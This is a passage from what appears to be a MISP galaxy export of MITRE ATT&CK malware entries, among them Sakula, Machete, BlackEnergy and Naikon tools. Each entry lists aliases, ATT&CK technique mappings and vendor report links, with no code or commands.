uses: misp-galaxy:mitre-attack-pattern="Access Calendar Entries - T1435" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Alternate Network Mediums - T1438" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Device Lockout - T1446" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1422" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Information Discovery - T1507" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1417" with estimative-language:likelihood-probability="almost-certain"

Table 3198. Table References
Links
https://attack.mitre.org/software/S0407
https://www.lookout.com/documents/threat-reports/lookout-discovers-monokle-threat-report.pdf

Sakula - S0074

[Sakula](https://attack.mitre.org/software/S0074) is a remote access tool (RAT) that first surfaced in 2012 and was used in intrusions throughout 2015. (Citation: Dell Sakula)

The tag is: misp-galaxy:mitre-malware="Sakula - S0074"

Sakula - S0074 is also known as:

Sakula
Sakurel
VIPER

Sakula - S0074 has relationships with:

similar: misp-galaxy:rat="Sakula" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="Sakula" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Sakula RAT" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1085" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"

Table 3199. Table References
Links
https://attack.mitre.org/software/S0074
http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/

PinchDuke - S0048

[PinchDuke](https://attack.mitre.org/software/S0048) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2008 to 2010. (Citation: F-Secure The Dukes)

The tag is: misp-galaxy:mitre-malware="PinchDuke - S0048"

PinchDuke - S0048 is also known as:

PinchDuke

PinchDuke - S0048 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 3200. Table References
Links
https://attack.mitre.org/software/S0048
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

GeminiDuke - S0049

[GeminiDuke](https://attack.mitre.org/software/S0049) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2009 to 2012. (Citation: F-Secure The Dukes)

The tag is: misp-galaxy:mitre-malware="GeminiDuke - S0049"

GeminiDuke - S0049 is also known as:

GeminiDuke

GeminiDuke - S0049 has relationships with:

similar: misp-galaxy:tool="GeminiDuke" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 3201. Table References
Links
https://attack.mitre.org/software/S0049
https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf

Machete - S0409

[Machete](https://attack.mitre.org/software/S0409) is a cyber espionage toolset developed by a Spanish-speaking group known as El [Machete](https://attack.mitre.org/groups/G0095). It is a Python-based backdoor targeting Windows machines, and it was first observed in 2010.(Citation: ESET Machete July 2019)(Citation: Securelist Machete Aug 2014)

The tag is: misp-galaxy:mitre-malware="Machete - S0409"

Machete - S0409 is also known as:

Machete

Machete - S0409 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Encrypted - T1022" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Physical Medium - T1052" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Staged - T1074" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1158" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1145" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1045" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Scripting - T1064" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"

Table 3202. Table References
Links
https://attack.mitre.org/software/S0409
https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf
https://securelist.com/el-machete/66108/

RARSTONE - S0055

[RARSTONE](https://attack.mitre.org/software/S0055) is malware used by the [Naikon](https://attack.mitre.org/groups/G0019) group that has some characteristics similar to [PlugX](https://attack.mitre.org/software/S0013). (Citation: Aquino RARSTONE)

The tag is: misp-galaxy:mitre-malware="RARSTONE - S0055"

RARSTONE - S0055 is also known as:

RARSTONE

RARSTONE - S0055 has relationships with:

similar: misp-galaxy:tool="RARSTONE" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 3203. Table References
Links
https://attack.mitre.org/software/S0055
http://blog.trendmicro.com/trendlabs-security-intelligence/rarstone-found-in-targeted-attacks/

SslMM - S0058

[SslMM](https://attack.mitre.org/software/S0058) is a full-featured backdoor used by [Naikon](https://attack.mitre.org/groups/G0019) that has multiple variants. (Citation: Baumgartner Naikon 2015)

The tag is: misp-galaxy:mitre-malware="SslMM - S0058"

SslMM - S0058 is also known as:

SslMM

SslMM - S0058 has relationships with:

similar: misp-galaxy:malpedia="SslMM" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 3204. Table References
Links
https://attack.mitre.org/software/S0058
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf

WinMM - S0059

[WinMM](https://attack.mitre.org/software/S0059) is a full-featured, simple backdoor used by [Naikon](https://attack.mitre.org/groups/G0019). (Citation: Baumgartner Naikon 2015)

The tag is: misp-galaxy:mitre-malware="WinMM - S0059"

WinMM - S0059 is also known as:

WinMM

WinMM - S0059 has relationships with:

similar: misp-galaxy:malpedia="WinMM" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 3205. Table References
Links
https://attack.mitre.org/software/S0059
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf

FakeM - S0076

[FakeM](https://attack.mitre.org/software/S0076) is a shellcode-based Windows backdoor that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)

The tag is: misp-galaxy:mitre-malware="FakeM - S0076"

FakeM - S0076 is also known as:

FakeM

FakeM - S0076 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"

Table 3206. Table References
Links
https://attack.mitre.org/software/S0076
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/

pngdowner - S0067

[pngdowner](https://attack.mitre.org/software/S0067) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool with limited functionality and no persistence mechanism, suggesting it is used only as a simple "download-and- execute" utility. (Citation: CrowdStrike Putter Panda)

The tag is: misp-galaxy:mitre-malware="pngdowner - S0067"

pngdowner - S0067 is also known as:

pngdowner

pngdowner - S0067 has relationships with:

similar: misp-galaxy:malpedia="pngdowner" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"

Table 3207. Table References
Links
https://attack.mitre.org/software/S0067
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf

ZLib - S0086

[ZLib](https://attack.mitre.org/software/S0086) is a full-featured backdoor that was used as a second-stage implant by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2014 to 2015. It is malware and should not be confused with the compression library from which its name is derived. (Citation: Cylance Dust Storm)

The tag is: misp-galaxy:mitre-malware="ZLib - S0086"

ZLib - S0086 is also known as:

ZLib

ZLib - S0086 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Compressed - T1002" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

Table 3208. Table References
Links
https://attack.mitre.org/software/S0086
https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf

httpclient - S0068

[httpclient](https://attack.mitre.org/software/S0068) is malware used by [Putter Panda](https://attack.mitre.org/groups/G0024). It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool. (Citation: CrowdStrike Putter Panda)

The tag is: misp-galaxy:mitre-malware="httpclient - S0068"

httpclient - S0068 is also known as:

httpclient

httpclient - S0068 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Custom Cryptographic Protocol - T1024" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"

Table 3209. Table References
Links
https://attack.mitre.org/software/S0068
http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf

BLACKCOFFEE - S0069

[BLACKCOFFEE](https://attack.mitre.org/software/S0069) is malware that has been used by several Chinese groups since at least 2013. (Citation: FireEye APT17) (Citation: FireEye Periscope March 2018)

The tag is: misp-galaxy:mitre-malware="BLACKCOFFEE - S0069"

BLACKCOFFEE - S0069 is also known as:

BLACKCOFFEE

BLACKCOFFEE - S0069 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1107" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"

Table 3210. Table References
Links
https://attack.mitre.org/software/S0069
https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

CallMe - S0077

[CallMe](https://attack.mitre.org/software/S0077) is a Trojan designed to run on Apple OSX. It is based on a publicly available tool called Tiny SHell. (Citation: Scarlet Mimic Jan 2016)

The tag is: misp-galaxy:mitre-malware="CallMe - S0077"

CallMe - S0077 is also known as:

CallMe

CallMe - S0077 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 3211. Table References
Links
https://attack.mitre.org/software/S0077
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/

Psylo - S0078

[Psylo](https://attack.mitre.org/software/S0078) is a shellcode-based Trojan that has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). It has similar characteristics as [FakeM](https://attack.mitre.org/software/S0076). (Citation: Scarlet Mimic Jan 2016)

The tag is: misp-galaxy:mitre-malware="Psylo - S0078"

Psylo - S0078 is also known as:

Psylo

Psylo - S0078 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1099" with estimative-language:likelihood-probability="almost-certain"

Table 3212. Table References
Links
https://attack.mitre.org/software/S0078
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/

MobileOrder - S0079

[MobileOrder](https://attack.mitre.org/software/S0079) is a Trojan intended to compromise Android mobile devices. It has been used by [Scarlet Mimic](https://attack.mitre.org/groups/G0029). (Citation: Scarlet Mimic Jan 2016)

The tag is: misp-galaxy:mitre-malware="MobileOrder - S0079"

MobileOrder - S0079 is also known as:

MobileOrder

MobileOrder - S0079 has relationships with:

uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1032" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Command and Control Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 3213. Table References
Links
https://attack.mitre.org/software/S0079
http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/

Kasidet - S0088

[Kasidet](https://attack.mitre.org/software/S0088) is a backdoor that has been dropped by using malicious VBA macros. (Citation: Zscaler Kasidet)

The tag is: misp-galaxy:mitre-malware="Kasidet - S0088"

Kasidet - S0088 is also known as:

Kasidet

Kasidet - S0088 has relationships with:

similar: misp-galaxy:malpedia="Neutrino" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Disabling Security Tools - T1089" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1105" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

Table 3214. Table References
Links
https://attack.mitre.org/software/S0088
http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html

BlackEnergy - S0089

[BlackEnergy](https://attack.mitre.org/software/S0089) is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3. (Citation: F-Secure BlackEnergy 2014)

The tag is: misp-galaxy:mitre-malware="BlackEnergy - S0089"

BlackEnergy - S0089 is also known as:

BlackEnergy
Black Energy

BlackEnergy - S0089 has relationships with:

similar: misp-galaxy:tool="BlackEnergy" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="BlackEnergy" with estimative-language:likelihood-probability="likely"
uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="New Service - T1050" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Data Destruction - T1485" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1060" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Admin Shares - T1077" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1088" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1023" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1071" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File System Permissions Weakness - T1044" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Input Capture - T1056" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1503" with estimative-language:likelihood-probability="almost-certain"

Table 3215. Table References
Links
https://attack.mitre.org/software/S0089
https://www.f-secure.com/documents/996508/1030745/blackenergy_whitepaper.pdf

H1N1 - S0132

[H1N1](https://attack.mitre.org/software/S0132) is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality. (Citation: Cisco H1N1 Part 1)

